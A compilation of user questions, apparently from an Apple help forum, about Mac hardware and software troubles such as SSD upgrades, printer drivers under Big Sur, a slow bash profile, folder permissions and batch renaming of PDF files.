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I want to upgrade the 128 GB SSD that comes with my Macbook Air 11" Early 2015 to a higher capacity. I've seen several options from brands such as OWC and Transcend, but I've read that after installing those SSDs the Macbook can't go to sleep properly after closing the lid and has to be restarted.

So is there a compatible SSD that doesn't cause that? Or is the only possibility to use an official Apple SSD part?


texts: How to get DMG file for making macOS USB on Windows PC?

texts:
I saw this discussion and updates on StackExchange on making macOS USB on Windows. I'm unable to comment there, so I'm posting a new question. I have been trying everything from that page, but as of now the method with TransMac is the only one working, because I have the DMG file for High Sierra.

Now that the High Sierra is old, I want to know whether there is any way make or download bootable DMG file for newer versions like Mojave or macOS Catalina? I did a Google search and found a solution, on Google, but the result is not positive. Is there a reliable alternative?


texts: Monitor network connection process / delay

texts:
I'd like to identify what in the world delays my OSX 10.9.2 system from connecting to wifi upon waking from sleep. What is the right log to read or script to run or netstat or lsof command to run to figure out what's responsible for the delay?

I've twiddled with energy settings before and still occasionally get delayed 5-10 seconds.

While I've read a number of posts in a similar vein, I haven't found an answer yet.


texts: App on MAS that writes mathematical formulae into an image?

texts:
I remember an app that was featured on the Mac App Store a while ago that allows you to write mathematical formulae into an image.

I can't find it now though. Does anyone know what it is?


texts: Horizontal lines on screen and burned image rendering on macbook air 2015

texts:
The exact problem as mentioned in the Title appeared out of the blue one day and all the text and  images on the screen of my Macbook Air 2015 are beyond comprehension as the screen is constantly flickering. The level the texts and image is getting burned is beyond comprehension.

I had tested with a mini-monitor to VGA connector on an external monitor and I get a flicker-free stable display on the external monitor.
Does that imply the flex cable that connects from the logic board to the monitor is faulty?
I have tried SMC reset and NVRAM/PRAM reset but that did not solve the issue.


texts: How to zip a script-file for MacOS under Windows and give it correct attributes?

texts:
I am working under Windows 10 and am putting together a few data-files and a simple bash-script that I want to share with Mac-Users. (I am just learning MacOS, so may have drawn wrong conclusions somewhere...)

When I tried to use that stuff on a Mac, the script would not execute after unzipping and I needed to set its attributes to allow execution.
Is it possible to do that already under windows so that the file unzips with desired attributes set?


texts: Cannot access a folder in terminal even though read, write and execute permissions are set for everyone

texts:
I have created a folder with user 'afayes' called tempfolder in directory '/Users/afayes' and have set permissions to be able to read, write and execute for all users:

drwx---rwx    2 afayes  staff          64  6 Mar 15:16 tempfolder

I am trying to access the tempfolder with user called 'testuser'. From the directory '/Users/afayes' I am executing:

cd tempfolder/

I get the error

-bash: cd: tempfolder: Permission denied

When I try to access the same folder with another user called 'jenkins' I can access it. I don't understand why 'testuser' cannot access it.


texts:
Does Apple Watch Series 4 with LTE require paid service for the fall detection call to work?
Will it make the call anyways? I’ve heard 911 calls don’t require paid service.


texts: All older printers are not working in macOS v11 (Big Sur)

texts:
Equipment: Brother MFC-8890DW and Brother MFC-9320CW
I suspect it will work on: All older printers with Big Sur!
On upgrade to Big Sur, I found that my 8-year old expensive Brother MFC printers would no longer work, and that Apple was recommending that we use AirPrint. I could install the printers using macOS v10.15 (Catalina) (or older) drivers, and my scanners would work, but not the printers! AirPrint would not work either.
I scoured the web for many hours and tried 1) Resetting the printer system - no go.  2) Reinstalling CUPS (with SIP disabled and Gatekeeper disabled - no go because of Apple's read-only /usr filesystem ... not getting into setting up remounting the root (/) filesystem because of FileVault problems.
I noticed that this was a problem that everyone was having regardless of their printer brand - indicating that it was a system problem.


texts:
I'm a newbie and installed some "xcrun" package long time back to fix an issue. That resulted in my terminal startup to become extremely slow. Any ideas how to get around this?
Right now I've upgraded to MacOS Big Sure, but have been facing the issue for quite some time.
My .bash_profile looks like this
# Setting PATH for Python 3.7
# The original version is saved in .bash_profile.pysave
PATH="/Library/Frameworks/Python.framework/Versions/3.7/bin:${PATH}"
export PATH
# added by Anaconda3 2019.07 installer
# >>> conda init >>>
# !! Contents within this block are managed by 'conda init' !!
__conda_setup="$(CONDA_REPORT_ERRORS=false '/anaconda3/bin/conda' shell.bash hook 2> /dev/null)"
if [ $? -eq 0 ]; then
    \eval "$__conda_setup"
else
    if [ -f "/anaconda3/etc/profile.d/conda.sh" ]; then
        . "/anaconda3/etc/profile.d/conda.sh"
        CONDA_CHANGEPS1=false conda activate base
    else
        \export PATH="/anaconda3/bin:$PATH"
    fi
fi
unset __conda_setup
# <<< conda init <<<
# added by Anaconda3 2019.07 installer
# >>> conda init >>>
# !! Contents within this block are managed by 'conda init' !!
__conda_setup="$(CONDA_REPORT_ERRORS=false '/Users/akv/anaconda3/bin/conda' shell.bash hook 2> /dev/null)"
if [ $? -eq 0 ]; then
    \eval "$__conda_setup"
else
    if [ -f "/Users/akv/anaconda3/etc/profile.d/conda.sh" ]; then
        . "/Users/akv/anaconda3/etc/profile.d/conda.sh"
        CONDA_CHANGEPS1=false conda activate base
    else
        \export PATH="/Users/akv/anaconda3/bin:$PATH"
    fi
fi


texts:
I've downloaded VNC Viewer on my iPad. I have noticed that it takes about 10 seconds for the iPad screen to update, in order to reflect the current Macbook screen. This is on the lowest quality setting in VNC Viewer.

I understand that the update speed is a function of the speed of my internet connection. Both the Macbook and the iPad are connected to the internet via WiFi.

However, is there an iOS app that updates faster? In other words, is there an app that offers a lower picture quality? I am comfortable with losing picture quality in exchange for less lag.

I do not need the ability to control or manipulate the Mac. I just need the ability to view the Mac's screen. The picture quality does not have to be particularly clear.

OS X El Capitan, version 10.11.6.

iOS 10.3.2


texts: What could cause Command-Tab task switching to get "stuck"?

texts:
When I Command-Tab to task switch (in both Mavericks and Yosemite), occasionally (maybe 60% of the time) the task switcher will behave as if the Tab button was held down. That is, the task-switcher selection will fly over to the right-most icon. If I mouse-over the app icons, the cursor will continue constantly moving to the right.

I doubt it's a stuck Tab key, because I use the Tab key all the time when coding, navigating Cocoa controls, etc...never have a problem with Tabs being constantly entered. This only ever occurs on Command-Tab.

Any ideas?


texts: Pairing wireless keyboard and iMac. Mac is password locked

texts: My iMac screen requires password to open. My keypad isn’t synced so I can’t enter the password to get to Bluetooth. Is there a solution?


texts: what does it mean if my macbook loaded in safe mode?

texts: My MacBook just booted in safe mode. Is it possible that somehow I made it to do so, or can it automatically load in case of a malfunctioning? What does it mean if it did so automatically?


texts: Wireless Time Machine Backup Without Time Capsule

texts: Is there an alternative to Time Capsule to do a wireless time machine backup. My mom already has a router and doesn't want to replace it but I still want to make sure she has a backup. She never has her MacBook connected so I'm looking for a wireless solution.


texts: How to turn off retina resolution in iMac 5k?

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I've started using many charts softwares recently. I open 5 charts at a time and my iMac 5k gets laggy whenever I do that. I checked with iStat Menus and it looks like my video card's ram is almost maxed out. Since my non-retina mac os computers work just fine with more than 5+ charts, I assume Retina resolution is taking too much memory.

How do I turn off retina mode and just use 2560x1440?

I've tried pressing "option" key in Display preference, but it looks like it's still using retina mode.


texts: Get per process user and system CPU time on OSX via command line?

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I am familiar with pidstat command that gives separate user and system CPU per process on Linux:

$ sudo pidstat -p 3162
Linux 4.18.0-13-generic (ubi)   26.12.2018  _x86_64_    (1 CPU)

11:26:13      UID       PID    %usr %system  %guest   %wait    %CPU   CPU  Command
11:26:13     1000      3162    0.24    0.04    0.00    0.12    0.28     0  emacs

How can I accomplish the same on Mac OSX?

top on OSX gives these values but only on the machine level and not per process. For processes, it seems to give only total CPU used

Load Avg: 3.26, 3.02, 3.01  CPU usage: 3.13% user, 5.69% sys, 91.16% idle  SharedLibs: 169M resident, 44M data, 11M

PID    COMMAND      %CPU TIME     #TH   #WQ  #PORT MEM    PURG   CMPRS  PGRP  PPID  STATE    BOOSTS
97229  powerlogd    0.0  00:00.45 2     1    51    1160K  16K    1744K  97229 1     sleeping *1[1]

Per process, it shows only the total cpu percentage and not the user and system split.
How do I get both user and system time?


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Recently 1 week back I bought a new white iphone... I have found 1 problem in iphone... Actually the problem is: white iphone home button is little bit deep.. i can feel edges/corner while pressing home button. I think it shouldn't be like that.

Anyone have faced similar problem ? ... Is this problem with every white iphone devices ? ... or only my device is defective ?

Thanks


texts: Using MacPorts bash, tab completion no longer lists hidden / dot files

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I used MacPorts to install bash (bash @4.3.8_0). I switched Terminal to use /opt/local/bin/bash as the command to startup.

However, now when I type vim ~/.<tab><tab>, it no longer lists dot files. If I switch back to using the default Mac OS X shell command, it works by listing the hidden dot files.

Does anyone know what settings I need to switch?

I've tried adding set match-hidden-files on in my ~/.inputrc as well as running shopt -s dotglob but neither seem to have any effect.


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My MagSafe adapter stopped working 10 days ago, so I bought a replacement wire and replaced the original with this third-party wire. It worked fine until this morning.
It magically stopped charging!
So, I used one of those testers for current (This might've been a mistake) to check whether the charger was actually sending current or not.

On touching the tester to the L-Shaped head, it sparked and then there was no current!

I didn't connect it back to the MacBook since I'm afraid it might burn the socket or something which would ultimately cost me to change the entire Motherboard I believe as they are fitted into the PCB. (I'm not very educated on this stuff)

Should I try connecting it back to the MacBook?
Should I buy the original adapter from Apple?

This is what I mean by L-Shaped(60W):

This is the tester I'm talking about:


texts: How to move spotlight back to the top right corner in El Captain?

texts: I guess Apple got a bit too literal with the "Spotlight" feature. I feel far too sceptical about upgrading to El Captain just because of my most favourite feature, the Spotlight smacks right at you in the middle of the screen. Is there any way at all to bring spotlight to where it was back in the good old 10.9 Mavericks?


texts: Audio interfaces just broken on my iMac?

texts: For the past year I've owned two audio interfaces. Semi-recently I obtained a wonderful new iMac and I love it. I own a M-Audio Fast Track and a Focusrite 2i2 and although I love this new iMac I'm having extreme issues with these audio interfaces. When I talk or record anything the audio stutters and sometimes just cuts out completely. It's the same case for both devices. I've had this problem since before I upgraded to OSX Mavericks and I don't know if it related to my installation of Adobe Premiere Pro. I can't use my audio interfaces at all with Premiere so I just use it as an audio device for other editing software. Anyone else have the same problem or anybody have some suggestions?


texts: How can I tell if a 30-pin USB cable for an iPhone is genuine?

texts: I have many of the 30-pin USB cables for the iPhone, and I would like to determine which are authentic Apple and which are not. (Over the three years that I owned an iPhone 4 and my wife an iPhone 4s, I purchased several "knock-offs"). Is there a good way to determine which cables are authentic and which cables are not?


texts: Will Upgrading to Mavericks Slow My System?

texts: I have a 2010 iMac and I'm considering upgrading to Mavericks. Will I notice any significant decreases in speed? My specs:


texts: Batch remove specific info from filename in 3K .pdf files while preserving remaining info?

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I have about 3K .pdf documents named to the following filename convention:

BER_0020236-BER_0020293.pdf

the next file in the sequence could be something like

BER_4039464-BER_9384762.pdf (the numbers are nonsequential).

What I need to do is preserve the first part of the filename BER_0020236, while removing the rest and preserving extension .pdf.

I thought I could use "rename" from the right-click options, select replace, and then input -******* with a blank replacement. This doesn't work - perhaps because finder isn't recognizing * as a wildcard? I can remove - easily, but not characters after -.

Is there an extant script somewhere that would do this, or is there something I'm missing from the finder option?